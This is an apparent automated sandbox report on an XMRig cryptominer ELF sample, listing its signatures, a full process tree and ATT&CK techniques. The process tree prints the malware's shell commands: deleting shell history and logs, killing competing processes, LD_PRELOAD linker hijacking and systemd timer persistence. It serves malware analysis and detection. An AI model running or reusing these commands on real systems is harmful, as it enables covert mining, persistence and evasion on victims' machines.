Analysis
- max time kernel
24s - max time network
143s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
05/09/2026, 00:03
General
- Target 24f3873639dd30d0ad350f6005dc616b7851af4a1f296f119e1c45b020c5fcd6.elf
- Size 3.1MB
- Sample260905-ab54caag83
- SHA256 24f3873639dd30d0ad350f6005dc616b7851af4a1f296f119e1c45b020c5fcd6
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Modifies the dynamic linker configuration file 2 TTPs 2 IoCs
Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.
- XMRig Miner payload 1 IoCs
- Executes dropped EXE 2 IoCs
- Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Creates/modifies environment variables 1 TTPs 6 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Enumerates running processes
Discovers information about currently running processes on the system
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
- Write file to user bin folder 2 IoCs
- Modifies Bash startup script 2 TTPs 6 IoCs
- Changes its process name 6 IoCs
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 5 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/24f3873639dd30d0ad350f6005dc616b7851af4a1f296f119e1c45b020c5fcd6.elf/tmp/24f3873639dd30d0ad350f6005dc616b7851af4a1f296f119e1c45b020c5fcd6.elf1⤵
- Modifies the dynamic linker configuration file
- Executes dropped EXE
- Changes its process name
- Writes file to tmp directory
-
/bin/shsh -c "pkill -9 -f '.b0s'; pkill -9 -f 'b0s'; pkill -9 -f 'yum.log'; pkill -9 -f 'apt.log'; rm -f \"\$HOME/.bash_history\" /var/tmp/apt.log /var/tmp/yum.log"2⤵
-
/usr/bin/pkillpkill -9 -f .b0s3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pgrep -x '16' 2>/dev/null"2⤵
-
/usr/bin/pgreppgrep -x 163⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pgrep -x '.16' 2>/dev/null"2⤵
-
/usr/bin/pgreppgrep -x .163⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pgrep -x '16' 2>/dev/null"2⤵
-
/usr/bin/pgreppgrep -x 163⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pgrep -x '.16' 2>/dev/null"2⤵
-
/usr/bin/pgreppgrep -x .163⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pgrep -x '16' 2>/dev/null"2⤵
-
/usr/bin/pgreppgrep -x 163⤵
- Reads CPU attributes
-
-
-
/bin/shsh -c "pgrep -x '.16' 2>/dev/null"2⤵
-
/usr/bin/pgreppgrep -x .163⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "ps -eo pid,comm,%cpu | awk '\$2==\"16\"' | sort -k3nr | awk 'NR>1{print \$1}' | xargs kill 2>/dev/null || pgrep -x '16' | tail -n +2 | xargs kill 2>/dev/null"2⤵
-
/usr/bin/awkawk "\$2==\"16\""3⤵
-
-
/bin/psps -eo "pid,comm,%cpu"3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/sortsort -k3nr3⤵
-
-
/usr/bin/awkawk "NR>1{print \$1}"3⤵
-
-
/usr/bin/xargsxargs kill3⤵
-
/usr/local/sbin/killkill4⤵
-
-
/usr/local/bin/killkill4⤵
-
-
/usr/sbin/killkill4⤵
-
-
/usr/bin/killkill4⤵
-
-
/sbin/killkill4⤵
-
-
/bin/killkill4⤵
-
-
-
/usr/bin/xargsxargs kill3⤵
-
/usr/local/sbin/killkill4⤵
-
-
/usr/local/bin/killkill4⤵
-
-
/usr/sbin/killkill4⤵
-
-
/usr/bin/killkill4⤵
-
-
/sbin/killkill4⤵
-
-
/bin/killkill4⤵
- Reads CPU attributes
-
-
-
/usr/bin/pgreppgrep -x 163⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/tailtail -n +23⤵
-
-
-
/bin/shsh -c "for p in /proc/[0-9]*; do pid=\${p#/proc/}; [ \"\$pid\" = \"\$\$\" ] && continue; read name rest < \"\$p/stat\"; name=\${name#(}; name=\${name%)}; [ \"\$name\" = \"16\" ] && echo \"\$pid \$((\$(awk '{print \$14+\$15}' \"\$p/stat\")))\"; done | sort -k2nr | awk 'NR>1{print \$1}' | while read pid; do kill -9 \"\$pid\" 2>/dev/null; done"2⤵
- Reads runtime system information
-
/usr/bin/awkawk "NR>1{print \$1}"3⤵
-
-
/usr/bin/sortsort -k2nr3⤵
-
-
/usr/bin/awkawk "{print \$14+\$15}" /proc/16/stat3⤵
-
-
-
/bin/shsh -c "pids=\$(pgrep -x 'X0-lock'); if [ -n \"\$pids\" ]; then alive=\$(echo \"\$pids\" | xargs ps -o pid= -p 2>/dev/null | wc -l); if [ \$alive -gt 1 ]; then oldest=\$(echo \"\$pids\" | xargs ps -o pid=,etime= -p 2>/dev/null | sort -k2 | head -1 | awk '{print \$1}'); echo \"\$pids\" | grep -v \"\$oldest\" | xargs kill -9 2>/dev/null; elif [ \$alive -eq 0 ]; then true; else echo \"\$pids\"; fi; fi"2⤵
-
/usr/bin/pgreppgrep -x X0-lock3⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "for p in /proc/[0-9]*; do pid=\${p#/proc/}; [ \"\$pid\" = \"\$\$\" ] && continue; read name rest < \"\$p/stat\"; name=\${name#(}; name=\${name%)}; [ \"\$name\" = \"X0-lock\" ] && echo \"\$pid \$(awk '{print \$22}' \"\$p/stat\")\"; done | sort -k2n | awk 'NR>1{print \$1}' | while read pid; do kill -9 \"\$pid\" 2>/dev/null; done"2⤵
- Reads runtime system information
-
/usr/bin/sortsort -k2n3⤵
-
-
/usr/bin/awkawk "NR>1{print \$1}"3⤵
-
-
-
/bin/shsh -c "pids=\$(pgrep -x 'snap'); if [ -n \"\$pids\" ]; then alive=\$(echo \"\$pids\" | xargs ps -o pid= -p 2>/dev/null | wc -l); if [ \$alive -gt 1 ]; then oldest=\$(echo \"\$pids\" | xargs ps -o pid=,etime= -p 2>/dev/null | sort -k2 | head -1 | awk '{print \$1}'); echo \"\$pids\" | grep -v \"\$oldest\" | xargs kill -9 2>/dev/null; elif [ \$alive -eq 0 ]; then true; else echo \"\$pids\"; fi; fi"2⤵
-
/usr/bin/pgreppgrep -x snap3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "for p in /proc/[0-9]*; do pid=\${p#/proc/}; [ \"\$pid\" = \"\$\$\" ] && continue; read name rest < \"\$p/stat\"; name=\${name#(}; name=\${name%)}; [ \"\$name\" = \"snap\" ] && echo \"\$pid \$(awk '{print \$22}' \"\$p/stat\")\"; done | sort -k2n | awk 'NR>1{print \$1}' | while read pid; do kill -9 \"\$pid\" 2>/dev/null; done"2⤵
- Reads runtime system information
-
/usr/bin/awkawk "NR>1{print \$1}"3⤵
-
-
/usr/bin/sortsort -k2n3⤵
-
-
-
/bin/shsh -c "pids=\$(pgrep -x '16') && [ \"\$(echo \"\$pids\" | wc -l)\" -gt 1 ] && echo \"\$pids\" | xargs -r ps -o pid=,pcpu= -p | sort -k2 -nr | awk 'NR>1 {print \$1}' | xargs -r kill -9"2⤵
-
/usr/bin/pgreppgrep -x 163⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "for p in /proc/[0-9]*; do pid=\${p#/proc/}; [ \"\$pid\" = \"\$\$\" ] && continue; read name rest < \"\$p/stat\"; name=\${name#(}; name=\${name%)}; [ \"\$name\" = \"16\" ] && echo \"\$pid \$((\$(awk '{print \$14+\$15}' \"\$p/stat\")))\"; done | sort -k2nr | awk 'NR>1{print \$1}' | while read pid; do kill -9 \"\$pid\" 2>/dev/null; done"2⤵
- Reads runtime system information
-
/usr/bin/awkawk "NR>1{print \$1}"3⤵
-
-
/usr/bin/sortsort -k2nr3⤵
-
-
/usr/bin/awkawk "{print \$14+\$15}" /proc/16/stat3⤵
-
-
-
/bin/shsh -c "self=\$\$; pids=\$(ps -eo pid,comm | awk '\$2==\"top\"{print \$1}' | while read pid; do exe=\$(readlink -f /proc/\$pid/exe 2>/dev/null); [[ \"\$pid\" != \"\$self\" && \"\$exe\" != \"/usr/bin/top\" && \"\$exe\" != \"/bin/top\" && \"\$exe\" != \"/usr/local/bin/top\" && \"\$exe\" != \"/sbin/top\" && \"\$exe\" != \"/usr/sbin/top\" ]] && echo \$pid; done); [ -n \"\$pids\" ] && kill -9 \$pids 2>/dev/null"2⤵
-
/usr/bin/awkawk "\$2==\"top\"{print \$1}"3⤵
-
-
/bin/psps -eo "pid,comm"3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/readlinkreadlink -f /proc/1493/exe3⤵
-
-
/bin/readlinkreadlink -f /proc/1526/exe3⤵
-
-
-
/bin/shsh -c "for p in /proc/[0-9]*; do pid=\${p#/proc/}; [ \"\$pid\" = \"\$\$\" ] && continue; read name rest < \"\$p/stat\"; name=\${name#(}; name=\${name%)}; [ \"\$name\" = \"top\" ] || continue; exe=\$(readlink -f \"\$p/exe\" 2>/dev/null); case \"\$exe\" in /usr/bin/top|/bin/top|/usr/local/bin/top|/sbin/top|/usr/sbin/top) continue;; esac; echo \"\$pid\"; done | while read pid; do kill -9 \"\$pid\" 2>/dev/null; done"2⤵
- Reads runtime system information
-
-
/tmp/.16/tmp/.161⤵
- Modifies the dynamic linker configuration file
- Executes dropped EXE
- Creates/modifies Cron job
- Creates/modifies environment variables
- Modifies systemd
- Write file to user bin folder
- Modifies Bash startup script
- Changes its process name
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
/bin/shsh -c "LD_PRELOAD=/usr/local/lib/libcommon.so.bak timeout 20 /usr/bin/top -b -d 1 >/dev/null 2>&1; rc=\$?; if [ \$rc -eq 0 ] || [ \$rc -eq 124 ]; then echo 1; else echo 0; fi"2⤵
-
/usr/bin/timeouttimeout 20 /usr/bin/top -b -d 13⤵
-
/usr/bin/top/usr/bin/top -b -d 14⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
-
-
/bin/shsh -c "/bin/systemctl daemon-reload >/dev/null 2>&1"2⤵
-
/bin/systemctl/bin/systemctl daemon-reload3⤵
-
-
-
/bin/shsh -c "/bin/systemctl enable system-helper.timer >/dev/null 2>&1"2⤵
-
/bin/systemctl/bin/systemctl enable system-helper.timer3⤵
-
-
-
/bin/shsh -c "/bin/systemctl start system-helper.timer >/dev/null 2>&1"2⤵
-
/bin/systemctl/bin/systemctl start system-helper.timer3⤵
-
-
-
/bin/shsh -c "/bin/systemctl is-active --quiet system-helper.timer"2⤵
-
/bin/systemctl/bin/systemctl is-active --quiet system-helper.timer3⤵
-
-
-
/bin/shsh -c "pgrep -x '16' 2>/dev/null"2⤵
-
/usr/bin/pgreppgrep -x 163⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pgrep -x '.16' 2>/dev/null"2⤵
-
/usr/bin/pgreppgrep -x .163⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "crontab -l 2>/dev/null"2⤵
-
/usr/bin/crontabcrontab -l3⤵
-
-
-
/bin/shsh -c "ps -eo pid,comm,%cpu 2>/dev/null | awk '\$2==\"16\"' 2>/dev/null | sort -k3nr 2>/dev/null | awk 'NR>1{print \$1}' 2>/dev/null | xargs -r kill 2>/dev/null"2⤵
-
/usr/bin/xargsxargs -r kill3⤵
-
-
/usr/bin/awkawk "NR>1{print \$1}"3⤵
-
-
/usr/bin/sortsort -k3nr3⤵
-
-
/usr/bin/awkawk "\$2==\"16\""3⤵
-
-
/bin/psps -eo "pid,comm,%cpu"3⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "pids=\$(pgrep -x '16' 2>/dev/null) && [ -n \"\$pids\" ] && [ \"\$(echo \"\$pids\" | wc -l 2>/dev/null)\" -gt 1 ] 2>/dev/null && echo \"\$pids\" | xargs -r ps -o pid=,pcpu= -p 2>/dev/null | sort -k2 -nr 2>/dev/null | awk 'NR>1 {print \$1}' 2>/dev/null | xargs -r kill -9 2>/dev/null"2⤵
-
/usr/bin/pgreppgrep -x 163⤵
- Reads CPU attributes
-
-
/usr/bin/wcwc -l3⤵
-
-
-
/bin/shsh -c "(ps -o pid=,pcpu= -C '16' 2>/dev/null || ps -eo pid,pcpu,comm 2>/dev/null | grep '16' 2>/dev/null | grep -v grep 2>/dev/null) 2>/dev/null | tr -s ' ' 2>/dev/null | sort -k2 -nr 2>/dev/null | tail -n +2 2>/dev/null | cut -d' ' -f1 2>/dev/null | while read pid; do [ -n \"\$pid\" ] && kill -9 \"\$pid\" 2>/dev/null; done"2⤵
-
/usr/bin/cutcut "-d " -f13⤵
-
-
/usr/bin/tailtail -n +23⤵
-
-
/usr/bin/sortsort -k2 -nr3⤵
-
-
/usr/bin/trtr -s " "3⤵
-
-
/bin/psps -o "pid=,pcpu=" -C 163⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f '.b0s'; pkill -9 -f 'b0s'; pkill -9 -f 'yum.log'; pkill -9 -f 'apt.log'; rm -f \"\$HOME/.bash_history\" /var/tmp/apt.log /var/tmp/yum.log"2⤵
-
/usr/bin/pkillpkill -9 -f .b0s3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/usr/local/sbin/ssh-session-gate/usr/local/sbin/ssh-session-gate2⤵
- Reads CPU attributes
-
/bin/shsh -c "eval \"printf %s\\\\\\\\0 x \$1 \$2\"" sh sftp-server "2>/dev/null"3⤵
-
-
-
/usr/lib/openssh/sftp-server/usr/lib/openssh/sftp-server2⤵
-
-
/usr/sbin/sshdsshd -t -f /etc/ssh/sshd_config.new.15232⤵
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
2Dynamic Linker Hijacking
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
2Dynamic Linker Hijacking
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
Hijack Execution Flow
2Dynamic Linker Hijacking
1Path Interception by PATH Environment Variable
1Replay Monitor
Loading Replay Monitor...
Downloads
cron_d_5695
system-helper
libbase.sh.tmp.1523
libcommon.csh.tmp.1523
sshd_config.new.1523
system-helper.service
system-helper-run
libbase.sh.tmp.1523